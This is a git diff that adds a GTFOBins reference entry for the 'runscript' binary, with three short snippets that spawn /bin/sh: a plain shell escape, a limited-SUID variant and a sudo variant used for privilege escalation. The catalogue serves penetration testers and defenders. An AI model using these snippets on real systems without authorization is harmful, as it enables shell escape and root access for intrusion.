diff --git a/_gtfobins/runscript.md b/_gtfobins/runscript.md new file mode 100644 index 00000000..a19c1b1a --- /dev/null +++ b/_gtfobins/runscript.md @@ -0,0 +1,17 @@ +--- +functions: + shell: + - code: | + TF=$(mktemp) + echo '! exec /bin/sh' >$TF + runscript $TF + limited-suid: + - code: | + TF=$(mktemp) + echo '! exec /bin/sh' >$TF + ./runscript $TF + sudo: + - code: | + TF=$(mktemp) + echo '! exec /bin/sh' >$TF + sudo runscript $TF